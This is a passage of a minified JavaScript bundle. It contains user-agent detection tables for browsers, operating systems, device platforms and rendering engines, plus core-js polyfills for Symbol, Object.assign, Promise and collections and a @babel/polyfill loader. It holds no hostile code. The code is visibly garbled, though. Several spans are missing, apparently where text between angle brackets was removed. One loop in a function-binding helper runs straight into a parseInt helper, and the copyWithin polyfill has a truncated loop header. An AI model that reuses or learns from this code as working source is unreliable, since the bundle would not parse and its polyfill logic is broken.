e&&(n.version=e),n}},{test:[/msie|trident/i],describe:function(t){var n={name:"Internet Explorer"},e=i.default.getFirstMatch(/(?:msie |rv:)(\d+(\.?_?\d+)+)/i,t);return e&&(n.version=e),n}},{test:[/\sedg\//i],describe:function(t){var n={name:"Microsoft Edge"},e=i.default.getFirstMatch(/\sedg\/(\d+(\.?_?\d+)+)/i,t);return e&&(n.version=e),n}},{test:[/edg([ea]|ios)/i],describe:function(t){var n={name:"Microsoft Edge"},e=i.default.getSecondMatch(/edg([ea]|ios)\/(\d+(\.?_?\d+)+)/i,t);return e&&(n.version=e),n}},{test:[/vivaldi/i],describe:function(t){var n={name:"Vivaldi"},e=i.default.getFirstMatch(/vivaldi\/(\d+(\.?_?\d+)+)/i,t);return e&&(n.version=e),n}},{test:[/seamonkey/i],describe:function(t){var n={name:"SeaMonkey"},e=i.default.getFirstMatch(/seamonkey\/(\d+(\.?_?\d+)+)/i,t);return e&&(n.version=e),n}},{test:[/sailfish/i],describe:function(t){var n={name:"Sailfish"},e=i.default.getFirstMatch(/sailfish\s?browser\/(\d+(\.\d+)?)/i,t);return e&&(n.version=e),n}},{test:[/silk/i],describe:function(t){var n={name:"Amazon Silk"},e=i.default.getFirstMatch(/silk\/(\d+(\.?_?\d+)+)/i,t);return e&&(n.version=e),n}},{test:[/phantom/i],describe:function(t){var n={name:"PhantomJS"},e=i.default.getFirstMatch(/phantomjs\/(\d+(\.?_?\d+)+)/i,t);return e&&(n.version=e),n}},{test:[/slimerjs/i],describe:function(t){var n={name:"SlimerJS"},e=i.default.getFirstMatch(/slimerjs\/(\d+(\.?_?\d+)+)/i,t);return e&&(n.version=e),n}},{test:[/blackberry|\bbb\d+/i,/rim\stablet/i],describe:function(t){var n={name:"BlackBerry"},e=i.default.getFirstMatch(o,t)||i.default.getFirstMatch(/blackberry[\d]+\/(\d+(\.?_?\d+)+)/i,t);return e&&(n.version=e),n}},{test:[/(web|hpw)[o0]s/i],describe:function(t){var n={name:"WebOS Browser"},e=i.default.getFirstMatch(o,t)||i.default.getFirstMatch(/w(?:eb)?[o0]sbrowser\/(\d+(\.?_?\d+)+)/i,t);return e&&(n.version=e),n}},{test:[/bada/i],describe:function(t){var n={name:"Bada"},e=i.default.getFirstMatch(/dolfin\/(\d+(\.?_?\d+)+)/i,t);return e&&(n.version=e),n}},{test:[/tizen/i],describe:function(t){var n={name:"Tizen"},e=i.default.getFirstMatch(/(?:tizen\s?)?browser\/(\d+(\.?_?\d+)+)/i,t)||i.default.getFirstMatch(o,t);return e&&(n.version=e),n}},{test:[/qupzilla/i],describe:function(t){var n={name:"QupZilla"},e=i.default.getFirstMatch(/(?:qupzilla)[\s/](\d+(\.?_?\d+)+)/i,t)||i.default.getFirstMatch(o,t);return e&&(n.version=e),n}},{test:[/firefox|iceweasel|fxios/i],describe:function(t){var n={name:"Firefox"},e=i.default.getFirstMatch(/(?:firefox|iceweasel|fxios)[\s/](\d+(\.?_?\d+)+)/i,t);return e&&(n.version=e),n}},{test:[/electron/i],describe:function(t){var n={name:"Electron"},e=i.default.getFirstMatch(/(?:electron)\/(\d+(\.?_?\d+)+)/i,t);return e&&(n.version=e),n}},{test:[/MiuiBrowser/i],describe:function(t){var n={name:"Miui"},e=i.default.getFirstMatch(/(?:MiuiBrowser)[\s/](\d+(\.?_?\d+)+)/i,t);return e&&(n.version=e),n}},{test:[/chromium/i],describe:function(t){var n={name:"Chromium"},e=i.default.getFirstMatch(/(?:chromium)[\s/](\d+(\.?_?\d+)+)/i,t)||i.default.getFirstMatch(o,t);return e&&(n.version=e),n}},{test:[/chrome|crios|crmo/i],describe:function(t){var n={name:"Chrome"},e=i.default.getFirstMatch(/(?:chrome|crios|crmo)\/(\d+(\.?_?\d+)+)/i,t);return e&&(n.version=e),n}},{test:[/GSA/i],describe:function(t){var n={name:"Google Search"},e=i.default.getFirstMatch(/(?:GSA)\/(\d+(\.?_?\d+)+)/i,t);return e&&(n.version=e),n}},{test:function(t){var n=!t.test(/like android/i),e=t.test(/android/i);return n&&e},describe:function(t){var n={name:"Android Browser"},e=i.default.getFirstMatch(o,t);return e&&(n.version=e),n}},{test:[/playstation 4/i],describe:function(t){var n={name:"PlayStation 4"},e=i.default.getFirstMatch(o,t);return e&&(n.version=e),n}},{test:[/safari|applewebkit/i],describe:function(t){var n={name:"Safari"},e=i.default.getFirstMatch(o,t);return e&&(n.version=e),n}},{test:[/.*/i],describe:function(t){var n=-1!==t.search("\\(")?/^(.*)\/(.*)[ \t]\((.*)/:/^(.*)\/(.*) /;return{name:i.default.getFirstMatch(n,t),version:i.default.getSecondMatch(n,t)}}}];n.default=u;t.exports=n.default},function(t,n,e){"use strict";n.__esModule=!0,n.default=void 0;var r,i=(r=e(17))&&r.__esModule?r:{default:r},o=e(18);n.default=[{test:[/Roku\/DVP/],describe:function(t){var n=i.default.getFirstMatch(/Roku\/DVP-(\d+\.\d+)/i,t);return{name:o.OS_MAP.Roku,version:n}}},{test:[/windows phone/i],describe:function(t){var n=i.default.getFirstMatch(/windows phone (?:os)?\s?(\d+(\.\d+)*)/i,t);return{name:o.OS_MAP.WindowsPhone,version:n}}},{test:[/windows /i],describe:function(t){var n=i.default.getFirstMatch(/Windows ((NT|XP)( \d\d?.\d)?)/i,t),e=i.default.getWindowsVersionName(n);return{name:o.OS_MAP.Windows,version:n,versionName:e}}},{test:[/Macintosh(.*?) FxiOS(.*?)\//],describe:function(t){var n={name:o.OS_MAP.iOS},e=i.default.getSecondMatch(/(Version\/)(\d[\d.]+)/,t);return e&&(n.version=e),n}},{test:[/macintosh/i],describe:function(t){var n=i.default.getFirstMatch(/mac os x (\d+(\.?_?\d+)+)/i,t).replace(/[_\s]/g,"."),e=i.default.getMacOSVersionName(n),r={name:o.OS_MAP.MacOS,version:n};return e&&(r.versionName=e),r}},{test:[/(ipod|iphone|ipad)/i],describe:function(t){var n=i.default.getFirstMatch(/os (\d+([_\s]\d+)*) like mac os x/i,t).replace(/[_\s]/g,".");return{name:o.OS_MAP.iOS,version:n}}},{test:function(t){var n=!t.test(/like android/i),e=t.test(/android/i);return n&&e},describe:function(t){var n=i.default.getFirstMatch(/android[\s/-](\d+(\.\d+)*)/i,t),e=i.default.getAndroidVersionName(n),r={name:o.OS_MAP.Android,version:n};return e&&(r.versionName=e),r}},{test:[/(web|hpw)[o0]s/i],describe:function(t){var n=i.default.getFirstMatch(/(?:web|hpw)[o0]s\/(\d+(\.\d+)*)/i,t),e={name:o.OS_MAP.WebOS};return n&&n.length&&(e.version=n),e}},{test:[/blackberry|\bbb\d+/i,/rim\stablet/i],describe:function(t){var n=i.default.getFirstMatch(/rim\stablet\sos\s(\d+(\.\d+)*)/i,t)||i.default.getFirstMatch(/blackberry\d+\/(\d+([_\s]\d+)*)/i,t)||i.default.getFirstMatch(/\bbb(\d+)/i,t);return{name:o.OS_MAP.BlackBerry,version:n}}},{test:[/bada/i],describe:function(t){var n=i.default.getFirstMatch(/bada\/(\d+(\.\d+)*)/i,t);return{name:o.OS_MAP.Bada,version:n}}},{test:[/tizen/i],describe:function(t){var n=i.default.getFirstMatch(/tizen[/\s](\d+(\.\d+)*)/i,t);return{name:o.OS_MAP.Tizen,version:n}}},{test:[/linux/i],describe:function(){return{name:o.OS_MAP.Linux}}},{test:[/CrOS/],describe:function(){return{name:o.OS_MAP.ChromeOS}}},{test:[/PlayStation 4/],describe:function(t){var n=i.default.getFirstMatch(/PlayStation 4[/\s](\d+(\.\d+)*)/i,t);return{name:o.OS_MAP.PlayStation4,version:n}}}];t.exports=n.default},function(t,n,e){"use strict";n.__esModule=!0,n.default=void 0;var r,i=(r=e(17))&&r.__esModule?r:{default:r},o=e(18);n.default=[{test:[/googlebot/i],describe:function(){return{type:o.PLATFORMS_MAP.bot,vendor:"Google"}}},{test:[/huawei/i],describe:function(t){var n=i.default.getFirstMatch(/(can-l01)/i,t)&&"Nova",e={type:o.PLATFORMS_MAP.mobile,vendor:"Huawei"};return n&&(e.model=n),e}},{test:[/nexus\s*(?:7|8|9|10).*/i],describe:function(){return{type:o.PLATFORMS_MAP.tablet,vendor:"Nexus"}}},{test:[/ipad/i],describe:function(){return{type:o.PLATFORMS_MAP.tablet,vendor:"Apple",model:"iPad"}}},{test:[/Macintosh(.*?) FxiOS(.*?)\//],describe:function(){return{type:o.PLATFORMS_MAP.tablet,vendor:"Apple",model:"iPad"}}},{test:[/kftt build/i],describe:function(){return{type:o.PLATFORMS_MAP.tablet,vendor:"Amazon",model:"Kindle Fire HD 7"}}},{test:[/silk/i],describe:function(){return{type:o.PLATFORMS_MAP.tablet,vendor:"Amazon"}}},{test:[/tablet(?! pc)/i],describe:function(){return{type:o.PLATFORMS_MAP.tablet}}},{test:function(t){var n=t.test(/ipod|iphone/i),e=t.test(/like (ipod|iphone)/i);return n&&!e},describe:function(t){var n=i.default.getFirstMatch(/(ipod|iphone)/i,t);return{type:o.PLATFORMS_MAP.mobile,vendor:"Apple",model:n}}},{test:[/nexus\s*[0-6].*/i,/galaxy nexus/i],describe:function(){return{type:o.PLATFORMS_MAP.mobile,vendor:"Nexus"}}},{test:[/Nokia/i],describe:function(t){var n=i.default.getFirstMatch(/Nokia\s+([0-9]+(\.[0-9]+)?)/i,t),e={type:o.PLATFORMS_MAP.mobile,vendor:"Nokia"};return n&&(e.model=n),e}},{test:[/[^-]mobi/i],describe:function(){return{type:o.PLATFORMS_MAP.mobile}}},{test:function(t){return"blackberry"===t.getBrowserName(!0)},describe:function(){return{type:o.PLATFORMS_MAP.mobile,vendor:"BlackBerry"}}},{test:function(t){return"bada"===t.getBrowserName(!0)},describe:function(){return{type:o.PLATFORMS_MAP.mobile}}},{test:function(t){return"windows phone"===t.getBrowserName()},describe:function(){return{type:o.PLATFORMS_MAP.mobile,vendor:"Microsoft"}}},{test:function(t){var n=Number(String(t.getOSVersion()).split(".")[0]);return"android"===t.getOSName(!0)&&n>=3},describe:function(){return{type:o.PLATFORMS_MAP.tablet}}},{test:function(t){return"android"===t.getOSName(!0)},describe:function(){return{type:o.PLATFORMS_MAP.mobile}}},{test:function(t){return"macos"===t.getOSName(!0)},describe:function(){return{type:o.PLATFORMS_MAP.desktop,vendor:"Apple"}}},{test:function(t){return"windows"===t.getOSName(!0)},describe:function(){return{type:o.PLATFORMS_MAP.desktop}}},{test:function(t){return"linux"===t.getOSName(!0)},describe:function(){return{type:o.PLATFORMS_MAP.desktop}}},{test:function(t){return"playstation 4"===t.getOSName(!0)},describe:function(){return{type:o.PLATFORMS_MAP.tv}}},{test:function(t){return"roku"===t.getOSName(!0)},describe:function(){return{type:o.PLATFORMS_MAP.tv}}}];t.exports=n.default},function(t,n,e){"use strict";n.__esModule=!0,n.default=void 0;var r,i=(r=e(17))&&r.__esModule?r:{default:r},o=e(18);n.default=[{test:function(t){return"microsoft edge"===t.getBrowserName(!0)},describe:function(t){if(/\sedg\//i.test(t))return{name:o.ENGINE_MAP.Blink};var n=i.default.getFirstMatch(/edge\/(\d+(\.?_?\d+)+)/i,t);return{name:o.ENGINE_MAP.EdgeHTML,version:n}}},{test:[/trident/i],describe:function(t){var n={name:o.ENGINE_MAP.Trident},e=i.default.getFirstMatch(/trident\/(\d+(\.?_?\d+)+)/i,t);return e&&(n.version=e),n}},{test:function(t){return t.test(/presto/i)},describe:function(t){var n={name:o.ENGINE_MAP.Presto},e=i.default.getFirstMatch(/presto\/(\d+(\.?_?\d+)+)/i,t);return e&&(n.version=e),n}},{test:function(t){var n=t.test(/gecko/i),e=t.test(/like gecko/i);return n&&!e},describe:function(t){var n={name:o.ENGINE_MAP.Gecko},e=i.default.getFirstMatch(/gecko\/(\d+(\.?_?\d+)+)/i,t);return e&&(n.version=e),n}},{test:[/(apple)?webkit\/537\.36/i],describe:function(){return{name:o.ENGINE_MAP.Blink}}},{test:[/(apple)?webkit/i],describe:function(t){var n={name:o.ENGINE_MAP.WebKit},e=i.default.getFirstMatch(/webkit\/(\d+(\.?_?\d+)+)/i,t);return e&&(n.version=e),n}}];t.exports=n.default},function(t,n,e){t.exports=!e(8)&&!e(2)((function(){return 7!=Object.defineProperty(e(62)("div"),"a",{get:function(){return 7}}).a}))},function(t,n,e){var r=e(1),i=e(7),o=e(32),u=e(63),a=e(9).f;t.exports=function(t){var n=i.Symbol||(i.Symbol=o?{}:r.Symbol||{});"_"==t.charAt(0)||t in n||a(n,t,{value:u.f(t)})}},function(t,n,e){var r=e(13),i=e(15),o=e(51)(!1),u=e(64)("IE_PROTO");t.exports=function(t,n){var e,a=i(t),c=0,s=[];for(e in a)e!=u&&r(a,e)&&s.push(e);for(;n.length>c;)r(a,e=n[c++])&&(~o(s,e)||s.push(e));return s}},function(t,n,e){var r=e(9),i=e(3),o=e(33);t.exports=e(8)?Object.defineProperties:function(t,n){i(t);for(var e,u=o(n),a=u.length,c=0;a>c;)r.f(t,e=u[c++],n[e]);return t}},function(t,n,e){var r=e(15),i=e(36).f,o={}.toString,u="object"==typeof window&&window&&Object.getOwnPropertyNames?Object.getOwnPropertyNames(window):[];t.exports.f=function(t){return u&&"[object Window]"==o.call(t)?function(t){try{return i(t)}catch(t){return u.slice()}}(t):i(r(t))}},function(t,n,e){"use strict";var r=e(8),i=e(33),o=e(52),u=e(47),a=e(10),c=e(46),s=Object.assign;t.exports=!s||e(2)((function(){var t={},n={},e=Symbol(),r="abcdefghijklmnopqrst";return t[e]=7,r.split("").forEach((function(t){n[t]=t})),7!=s({},t)[e]||Object.keys(s({},n)).join("")!=r}))?function(t,n){for(var e=a(t),s=arguments.length,f=1,l=o.f,h=u.f;s>f;)for(var d,p=c(arguments[f++]),v=l?i(p).concat(l(p)):i(p),g=v.length,y=0;g>y;)d=v[y++],r&&!h.call(p,d)||(e[d]=p[d]);return e}:s},function(t,n){t.exports=Object.is||function(t,n){return t===n?0!==t||1/t==1/n:t!=t&&n!=n}},function(t,n,e){"use strict";var r=e(20),i=e(4),o=e(104),u=[].slice,a={},c=function(t,n,e){if(!(n in a)){for(var r=[],i=0;i>>0||(u.test(e)?16:10))}:r},function(t,n,e){var r=e(1).parseFloat,i=e(41).trim;t.exports=1/r(e(68)+"-0")!=-1/0?function(t){var n=i(String(t),3),e=r(n);return 0===e&&"-"==n.charAt(0)?-0:e}:r},function(t,n,e){var r=e(25);t.exports=function(t,n){if("number"!=typeof t&&"Number"!=r(t))throw TypeError(n);return+t}},function(t,n,e){var r=e(4),i=Math.floor;t.exports=function(t){return!r(t)&&isFinite(t)&&i(t)===t}},function(t,n){t.exports=Math.log1p||function(t){return(t=+t)>-1e-8&&t<1e-8?t-t*t/2:Math.log(1+t)}},function(t,n,e){"use strict";var r=e(35),i=e(30),o=e(40),u={};e(14)(u,e(5)("iterator"),(function(){return this})),t.exports=function(t,n,e){t.prototype=r(u,{next:i(1,e)}),o(t,n+" Iterator")}},function(t,n,e){var r=e(3);t.exports=function(t,n,e,i){try{return i?n(r(e)[0],e[1]):n(e)}catch(n){var o=t.return;throw void 0!==o&&r(o.call(t)),n}}},function(t,n,e){var r=e(224);t.exports=function(t,n){return new(r(t))(n)}},function(t,n,e){var r=e(20),i=e(10),o=e(46),u=e(6);t.exports=function(t,n,e,a,c){r(n);var s=i(t),f=o(s),l=u(s.length),h=c?l-1:0,d=c?-1:1;if(e<2)for(;;){if(h in f){a=f[h],h+=d;break}if(h+=d,c?h<0:l<=h)throw TypeError("Reduce of empty array with no initial value")}for(;c?h>=0:l>h;h+=d)h in f&&(a=n(a,f[h],h,s));return a}},function(t,n,e){"use strict";var r=e(10),i=e(34),o=e(6);t.exports=[].copyWithin||function(t,n){var e=r(this),u=o(e.length),a=i(t,u),c=i(n,u),s=arguments.length>2?arguments[2]:void 0,f=Math.min((void 0===s?u:i(s,u))-c,u-a),l=1;for(c0;)c in e?e[a]=e[c]:delete e[a],a+=l,c+=l;return e}},function(t,n){t.exports=function(t,n){return{value:n,done:!!t}}},function(t,n,e){"use strict";var r=e(83);e(0)({target:"RegExp",proto:!0,forced:r!==/./.exec},{exec:r})},function(t,n,e){e(8)&&"g"!=/./g.flags&&e(9).f(RegExp.prototype,"flags",{configurable:!0,get:e(55)})},function(t,n,e){"use strict";var r,i,o,u,a=e(32),c=e(1),s=e(19),f=e(48),l=e(0),h=e(4),d=e(20),p=e(44),v=e(58),g=e(49),y=e(85).set,m=e(244)(),b=e(119),S=e(245),w=e(59),M=e(120),_=c.TypeError,x=c.process,P=x&&x.versions,O=P&&P.v8||"",A=c.Promise,F="process"==f(x),E=function(){},N=i=b.f,R=!!function(){try{var t=A.resolve(1),n=(t.constructor={})[e(5)("species")]=function(t){t(E,E)};return(F||"function"==typeof PromiseRejectionEvent)&&t.then(E)instanceof n&&0!==O.indexOf("6.6")&&-1===w.indexOf("Chrome/66")}catch(t){}}(),T=function(t){var n;return!(!h(t)||"function"!=typeof(n=t.then))&&n},k=function(t,n){if(!t._n){t._n=!0;var e=t._c;m((function(){for(var r=t._v,i=1==t._s,o=0,u=function(n){var e,o,u,a=i?n.ok:n.fail,c=n.resolve,s=n.reject,f=n.domain;try{a?(i||(2==t._h&&L(t),t._h=1),!0===a?e=r:(f&&f.enter(),e=a(r),f&&(f.exit(),u=!0)),e===n.promise?s(_("Promise-chain cycle")):(o=T(e))?o.call(e,c,s):c(e)):s(r)}catch(t){f&&!u&&f.exit(),s(t)}};e.length>o;)u(e[o++]);t._c=[],t._n=!1,n&&!t._h&&j(t)}))}},j=function(t){y.call(c,(function(){var n,e,r,i=t._v,o=I(t);if(o&&(n=S((function(){F?x.emit("unhandledRejection",i,t):(e=c.onunhandledrejection)?e({promise:t,reason:i}):(r=c.console)&&r.error&&r.error("Unhandled promise rejection",i)})),t._h=F||I(t)?2:1),t._a=void 0,o&&n.e)throw n.v}))},I=function(t){return 1!==t._h&&0===(t._a||t._c).length},L=function(t){y.call(c,(function(){var n;F?x.emit("rejectionHandled",t):(n=c.onrejectionhandled)&&n({promise:t,reason:t._v})}))},B=function(t){var n=this;n._d||(n._d=!0,(n=n._w||n)._v=t,n._s=2,n._a||(n._a=n._c.slice()),k(n,!0))},C=function(t){var n,e=this;if(!e._d){e._d=!0,e=e._w||e;try{if(e===t)throw _("Promise can't be resolved itself");(n=T(t))?m((function(){var r={_w:e,_d:!1};try{n.call(t,s(C,r,1),s(B,r,1))}catch(t){B.call(r,t)}})):(e._v=t,e._s=1,k(e,!1))}catch(t){B.call({_w:e,_d:!1},t)}}};R||(A=function(t){p(this,A,"Promise","_h"),d(t),r.call(this);try{t(s(C,this,1),s(B,this,1))}catch(t){B.call(this,t)}},(r=function(t){this._c=[],this._a=void 0,this._s=0,this._d=!1,this._v=void 0,this._h=0,this._n=!1}).prototype=e(45)(A.prototype,{then:function(t,n){var e=N(g(this,A));return e.ok="function"!=typeof t||t,e.fail="function"==typeof n&&n,e.domain=F?x.domain:void 0,this._c.push(e),this._a&&this._a.push(e),this._s&&k(this,!1),e.promise},catch:function(t){return this.then(void 0,t)}}),o=function(){var t=new r;this.promise=t,this.resolve=s(C,t,1),this.reject=s(B,t,1)},b.f=N=function(t){return t===A||t===u?new o(t):i(t)}),l(l.G+l.W+l.F*!R,{Promise:A}),e(40)(A,"Promise"),e(43)("Promise"),u=e(7).Promise,l(l.S+l.F*!R,"Promise",{reject:function(t){var n=N(this);return(0,n.reject)(t),n.promise}}),l(l.S+l.F*(a||!R),"Promise",{resolve:function(t){return M(a&&this===u?A:this,t)}}),l(l.S+l.F*!(R&&e(54)((function(t){A.all(t).catch(E)}))),"Promise",{all:function(t){var n=this,e=N(n),r=e.resolve,i=e.reject,o=S((function(){var e=[],o=0,u=1;v(t,!1,(function(t){var a=o++,c=!1;e.push(void 0),u++,n.resolve(t).then((function(t){c||(c=!0,e[a]=t,--u||r(e))}),i)})),--u||r(e)}));return o.e&&i(o.v),e.promise},race:function(t){var n=this,e=N(n),r=e.reject,i=S((function(){v(t,!1,(function(t){n.resolve(t).then(e.resolve,r)}))}));return i.e&&r(i.v),e.promise}})},function(t,n,e){"use strict";var r=e(20);function i(t){var n,e;this.promise=new t((function(t,r){if(void 0!==n||void 0!==e)throw TypeError("Bad Promise constructor");n=t,e=r})),this.resolve=r(n),this.reject=r(e)}t.exports.f=function(t){return new i(t)}},function(t,n,e){var r=e(3),i=e(4),o=e(119);t.exports=function(t,n){if(r(t),i(n)&&n.constructor===t)return n;var e=o.f(t);return(0,e.resolve)(n),e.promise}},function(t,n,e){"use strict";var r=e(9).f,i=e(35),o=e(45),u=e(19),a=e(44),c=e(58),s=e(74),f=e(115),l=e(43),h=e(8),d=e(29).fastKey,p=e(39),v=h?"_s":"size",g=function(t,n){var e,r=d(n);if("F"!==r)return t._i[r];for(e=t._f;e;e=e.n)if(e.k==n)return e};t.exports={getConstructor:function(t,n,e,s){var f=t((function(t,r){a(t,f,n,"_i"),t._t=n,t._i=i(null),t._f=void 0,t._l=void 0,t[v]=0,null!=r&&c(r,e,t[s],t)}));return o(f.prototype,{clear:function(){for(var t=p(this,n),e=t._i,r=t._f;r;r=r.n)r.r=!0,r.p&&(r.p=r.p.n=void 0),delete e[r.i];t._f=t._l=void 0,t[v]=0},delete:function(t){var e=p(this,n),r=g(e,t);if(r){var i=r.n,o=r.p;delete e._i[r.i],r.r=!0,o&&(o.n=i),i&&(i.p=o),e._f==r&&(e._f=i),e._l==r&&(e._l=o),e[v]--}return!!r},forEach:function(t){p(this,n);for(var e,r=u(t,arguments.length>1?arguments[1]:void 0,3);e=e?e.n:this._f;)for(r(e.v,e.k,this);e&&e.r;)e=e.p},has:function(t){return!!g(p(this,n),t)}}),h&&r(f.prototype,"size",{get:function(){return p(this,n)[v]}}),f},def:function(t,n,e){var r,i,o=g(t,n);return o?o.v=e:(t._l=o={i:i=d(n,!0),k:n,v:e,p:r=t._l,n:void 0,r:!1},t._f||(t._f=o),r&&(r.n=o),t[v]++,"F"!==i&&(t._i[i]=o)),t},getEntry:g,setStrong:function(t,n,e){s(t,n,(function(t,e){this._t=p(t,n),this._k=e,this._l=void 0}),(function(){for(var t=this._k,n=this._l;n&&n.r;)n=n.p;return this._t&&(this._l=n=n?n.n:this._t._f)?f(0,"keys"==t?n.k:"values"==t?n.v:[n.k,n.v]):(this._t=void 0,f(1))}),e?"entries":"values",!e,!0),l(n)}}},function(t,n,e){"use strict";var r=e(45),i=e(29).getWeak,o=e(3),u=e(4),a=e(44),c=e(58),s=e(24),f=e(13),l=e(39),h=s(5),d=s(6),p=0,v=function(t){return t._l||(t._l=new g)},g=function(){this.a=[]},y=function(t,n){return h(t.a,(function(t){return t[0]===n}))};g.prototype={get:function(t){var n=y(this,t);if(n)return n[1]},has:function(t){return!!y(this,t)},set:function(t,n){var e=y(this,t);e?e[1]=n:this.a.push([t,n])},delete:function(t){var n=d(this.a,(function(n){return n[0]===t}));return~n&&this.a.splice(n,1),!!~n}},t.exports={getConstructor:function(t,n,e,o){var s=t((function(t,r){a(t,s,n,"_i"),t._t=n,t._i=p++,t._l=void 0,null!=r&&c(r,e,t[o],t)}));return r(s.prototype,{delete:function(t){if(!u(t))return!1;var e=i(t);return!0===e?v(l(this,n)).delete(t):e&&f(e,this._i)&&delete e[this._i]},has:function(t){if(!u(t))return!1;var e=i(t);return!0===e?v(l(this,n)).has(t):e&&f(e,this._i)}}),s},def:function(t,n,e){var r=i(o(n),!0);return!0===r?v(t).set(n,e):r[t._i]=e,t},ufstore:v}},function(t,n,e){var r=e(21),i=e(6);t.exports=function(t){if(void 0===t)return 0;var n=r(t),e=i(n);if(n!==e)throw RangeError("Wrong length!");return e}},function(t,n,e){var r=e(36),i=e(52),o=e(3),u=e(1).Reflect;t.exports=u&&u.ownKeys||function(t){var n=r.f(o(t)),e=i.f;return e?n.concat(e(t)):n}},function(t,n,e){var r=e(6),i=e(70),o=e(26);t.exports=function(t,n,e,u){var a=String(o(t)),c=a.length,s=void 0===e?" ":String(e),f=r(n);if(f<=c||""==s)return a;var l=f-c,h=i.call(s,Math.ceil(l/s.length));return h.length>l&&(h=h.slice(0,l)),u?h+a:a+h}},function(t,n,e){var r=e(8),i=e(33),o=e(15),u=e(47).f;t.exports=function(t){return function(n){for(var e,a=o(n),c=i(a),s=c.length,f=0,l=[];s>f;)e=c[f++],r&&!u.call(a,e)||l.push(t?[e,a[e]]:a[e]);return l}}},function(t,n){var e=t.exports={version:"2.6.12"};"number"==typeof __e&&(__e=e)},function(t,n){t.exports=function(t){try{return!!t()}catch(t){return!0}}},function(t,n,e){e(130),t.exports=e(90)},function(t,n,e){"use strict";e(131);var r,i=(r=e(303))&&r.__esModule?r:{default:r};i.default._babelPolyfill&&"undefined"!=typeof console&&console.warn&&console.warn("@babel/polyfill is loaded more than once on this page. This is probably not desirable/intended and may have consequences if different versions of the polyfills are applied sequentially. If you do need to load the polyfill more than once, use @babel/polyfill/noConflict instead to bypass the warning."),i.default._babelPolyfill=!0},function(t,n,e){"use strict";e(132),e(275),e(277),e(280),e(282),e(284),e(286),e(288),e(290),e(292),e(294),e(296),e(298),e(302)},function(t,n,e){e(133),e(136),e(137),e(138),e(139),e(140),e(141),e(142),e(143),e(144),e(145),e(146),e(147),e(148),e(149),e(150),e(151),e(152),e(153),e(154),e(155),e(156),e(157),e(158),e(159),e(160),e(161),e(162),e(163),e(164),e(165),e(166),e(167),e(168),e(169),e(170),e(171),e(172),e(173),e(174),e(175),e(176),e(177),e(179),e(180),e(181),e(182),e(183),e(184),e(185),e(186),e(187),e(188),e(189),e(190),e(191),e(192),e(193),e(194),e(195),e(196),e(197),e(198),e(199),e(200),e(201),e(202),e(203),e(204),e(205),e(206),e(207),e(208),e(209),e(210),e(211),e(212),e(214),e(215),e(217),e(218),e(219),e(220),e(221),e(222),e(223),e(225),e(226),e(227),e(228),e(229),e(230),e(231),e(232),e(233),e(234),e(235),e(236),e(237),e(82),e(238),e(116),e(239),e(117),e(240),e(241),e(242),e(243),e(118),e(246),e(247),e(248),e(249),e(250),e(251),e(252),e(253),e(254),e(255),e(256),e(257),e(258),e(259),e(260),e(261),e(262),e(263),e(264),e(265),e(266),e(267),e(268),e(269),e(270),e(271),e(272),e(273),e(274),t.exports=e(7)},function(t,n,e){"use strict";var r=e(1),i=e(13),o=e(8),u=e(0),a=e(11),c=e(29).KEY,s=e(2),f=e(50),l=e(40),h=e(31),d=e(5),p=e(63),v=e(97),g=e(135),y=e(53),m=e(3),b=e(4),S=e(10),w=e(15),M=e(28),_=e(30),x=e(35),P=e(100),O=e(22),A=e(52),F=e(9),E=e(33),N=O.f,R=F.f,T=P.f,k=r.Symbol,j=r.JSON,I=j&&j.stringify,L=d("_hidden"),B=d("toPrimitive"),C={}.propertyIsEnumerable,W=f("symbol-registry"),V=f("symbols"),G=f("op-symbols"),D=Object.prototype,U="function"==typeof k&&!!A.f,z=r.QObject,q=!z||!z.prototype||!z.prototype.findChild,K=o&&s((function(){return 7!=x(R({},"a",{get:function(){return R(this,"a",{value:7}).a}})).a}))?function(t,n,e){var r=N(D,n);r&&delete D[n],R(t,n,e),r&&t!==D&&R(D,n,r)}:R,Y=function(t){var n=V[t]=x(k.prototype);return n._k=t,n},Q=U&&"symbol"==typeof k.iterator?function(t){return"symbol"==typeof t}:function(t){return t instanceof k},H=function(t,n,e){return t===D&&H(G,n,e),m(t),n=M(n,!0),m(e),i(V,n)?(e.enumerable?(i(t,L)&&t[L][n]&&(t[L][n]=!1),e=x(e,{enumerable:_(0,!1)})):(i(t,L)||R(t,L,_(1,{})),t[L][n]=!0),K(t,n,e)):R(t,n,e)},J=function(t,n){m(t);for(var e,r=g(n=w(n)),i=0,o=r.length;o>i;)H(t,e=r[i++],n[e]);return t},X=function(t){var n=C.call(this,t=M(t,!0));return!(this===D&&i(V,t)&&!i(G,t))&&(!(n||!i(this,t)||!i(V,t)||i(this,L)&&this[L][t])||n)},Z=function(t,n){if(t=w(t),n=M(n,!0),t!==D||!i(V,n)||i(G,n)){var e=N(t,n);return!e||!i(V,n)||i(t,L)&&t[L][n]||(e.enumerable=!0),e}},$=function(t){for(var n,e=T(w(t)),r=[],o=0;e.length>o;)i(V,n=e[o++])||n==L||n==c||r.push(n);return r},tt=function(t){for(var n,e=t===D,r=T(e?G:w(t)),o=[],u=0;r.length>u;)!i(V,n=r[u++])||e&&!i(D,n)||o.push(V[n]);return o};U||(a((k=function(){if(this instanceof k)throw TypeError("Symbol is not a constructor!");var t=h(arguments.length>0?arguments[0]:void 0),n=function(e){this===D&&n.call(G,e),i(this,L)&&i(this[L],t)&&(this[L][t]=!1),K(this,t,_(1,e))};return o&&q&&K(D,t,{configurable:!0,set:n}),Y(t)}).prototype,"toString",(function(){return this._k})),O.f=Z,F.f=H,e(36).f=P.f=$,e(47).f=X,A.f=tt,o&&!e(32)&&a(D,"propertyIsEnumerable",X,!0),p.f=function(t){return Y(d(t))}),u(u.G+u.W+u.F*!U,{Symbol:k});for(var nt="hasInstance,isConcatSpreadable,iterator,match,replace,search,species,split,toPrimitive,toStringTag,unscopables".split(","),et=0;nt.length>et;)d(nt[et++]);for(var rt=E(d.store),it=0;rt.length>it;)v(rt[it++]);u(u.S+u.F*!U,"Symbol",{for:function(t){return i(W,t+="")?W[t]:W[t]=k(t)},keyFor:function(t){if(!Q(t))throw TypeError(t+" is not a symbol!");for(var n in W)if(W[n]===t)return n},useSetter:function(){q=!0},useSimple:function(){q=!1}}),u(u.S+u.F*!U,"Object",{create:function(t,n){return void 0===n?x(t):J(x(t),n)},defineProperty:H,defineProperties:J,getOwnPropertyDescriptor:Z,getOwnPropertyNames:$,getOwnPropertySymbols:tt});var ot=s((function(){A.f(1)}));u(u.S+u.F*ot,"Object",{getOwnPropertySymbols:function(t){return 